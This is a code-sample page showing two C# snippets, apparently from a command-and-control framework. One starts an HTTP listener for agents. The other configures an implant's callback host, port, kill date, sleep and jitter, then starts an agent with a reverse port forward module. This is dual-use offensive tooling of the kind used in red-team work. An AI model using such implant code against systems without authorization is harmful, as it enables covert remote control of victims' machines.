Ejemplo n.º 1
0
        public ListenerHttp StartHttpListener(NewHttpListenerRequest request, AgentController agentController, CryptoController cryptoController, string user)
        {
            var listener = new ListenerHttp
            {
                ListenerName   = request.Name,
                Type           = ListenerType.HTTP,
                BindPort       = request.BindPort,
                ConnectAddress = request.ConnectAddress,
                ConnectPort    = request.ConnectPort
            };

            var module = new HttpCommModule
            {
                Listener = listener
            };

            HttpListeners.Add(module);

            module.Init(agentController, cryptoController);
            module.Start();

            OnServerEvent?.Invoke(this, new ServerEvent(ServerEventType.ListenerStarted, request.Name));
            Log.Logger.Information("LISTENER {Event} {ListenerName} {Nick}", ServerEventType.ListenerStarted.ToString(), request.Name, user);

            return(listener);
        }
Ejemplo n.º 2
0
        public static void Execute()
        {
            var config = new ConfigController();

            //config.SetOption(ConfigSetting.ConnectHosts, "127.0.0.1");
            //config.SetOption(ConfigSetting.ConnectPort, "8080");
            //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00"));
            //config.SetOption(ConfigSetting.SleepInterval, 1);
            //config.SetOption(ConfigSetting.SleepJitter, 0);

            config.SetOption(ConfigSetting.ConnectHosts, "<<ConnectHost>>");
            config.SetOption(ConfigSetting.ConnectPort, "<<ConnectPort>>");
            config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>"));
            config.SetOption(ConfigSetting.SleepInterval, "<<SleepInterval>>");
            config.SetOption(ConfigSetting.SleepJitter, "<<SleepJitter>>");

            var crypto = new CryptoController();

            var commModule = new HttpCommModule();

            commModule.Init(config, crypto);

            var agent = new AgentController(config, crypto, commModule);

            agent.Init();
            agent.RegisterAgentModule(new CoreAgentModule());
            agent.RegisterAgentModule(new ReversePortForwardModule());
            agent.Start();
        }